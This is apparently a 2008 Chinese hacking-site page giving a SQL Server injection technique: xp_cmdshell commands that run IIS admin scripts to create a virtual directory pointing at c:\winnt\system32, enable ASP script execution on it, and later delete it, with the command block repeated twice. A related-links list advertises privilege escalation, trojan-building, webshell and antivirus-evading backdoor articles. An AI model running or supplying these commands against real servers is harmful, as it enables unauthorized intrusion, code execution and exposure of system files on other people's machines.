sql server注入建立虛擬目錄的方法
更新時(shí)間：2008年01月20日 15:59:13 作者：
sql server注入建立虛擬目錄的方法
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
建立虛擬目錄win,指向c:\winnt\system32
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
讓win句有解析asp腳本權(quán)限
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/"
刪除虛擬目錄。
找不到web絕對(duì)路徑的一種解決辦法，
http://xxx.com/win
403錯(cuò)誤，表示虛擬目錄建好了。。。
建立虛擬目錄win,指向c:\winnt\system32
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
讓win句有解析asp腳本權(quán)限
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/"
刪除虛擬目錄。
找不到web絕對(duì)路徑的一種解決辦法，
http://xxx.com/win
403錯(cuò)誤，表示虛擬目錄建好了。。。
相關(guān)文章
提權(quán)總結(jié)整理貼...2007-10-10
php+mysql注入頁(yè)面實(shí)現(xiàn)
最近在弄靶場(chǎng)，原本是打算找一些漏洞程序來(lái)做實(shí)驗(yàn)環(huán)境，但是去找這些程序感覺(jué)太麻煩了，幾段代碼能實(shí)現(xiàn)的東西還是自己寫(xiě)吧2012-07-07
CHM電子書(shū)木馬制作攻略教程...2007-06-06
開(kāi)放IPC$共享...2007-01-01
MySQL注入中導(dǎo)出字段內(nèi)容的研究通過(guò)注入導(dǎo)出WebShell
大家都知道，在MySQL中，無(wú)法像MSSQL那樣執(zhí)行script.asp?id=1;insert into table (field) values('angel');--來(lái)插入數(shù)據(jù)，因?yàn)镸ySQL里最多就是用union聯(lián)合查詢。2008-05-05
測(cè)試環(huán)境：windows xp pro sp2 + mssql 2005（服務(wù)以system權(quán)限啟動(dòng)）2008-12-12
一些通用跳轉(zhuǎn)地址，XXOXX的時(shí)候有點(diǎn)用
近日在寫(xiě)exploit的時(shí)候需要用到一些其他語(yǔ)言的call ebx的跳轉(zhuǎn)地址，但是metasploit的opcode DB沒(méi)有包括繁體中文、日文、韓文機(jī)器的跳轉(zhuǎn)地址，所以費(fèi)了點(diǎn)時(shí)間收集了下，在這里要感謝傲少提供的機(jī)器給我去找地址。現(xiàn)在貼到這里，方便大家。2008-09-09
幾款雙功能免殺超強(qiáng)版asp小馬，對(duì)于需要查找后門的朋友可以參考下。2010-09-09
愛(ài)好腳本的朋友有福了，腳本入侵班資料下載2008-06-06
完全解剖安全帳號(hào)管理器（SAM）結(jié)構(gòu)
完全解剖安全帳號(hào)管理器（SAM）結(jié)構(gòu)...2007-11-11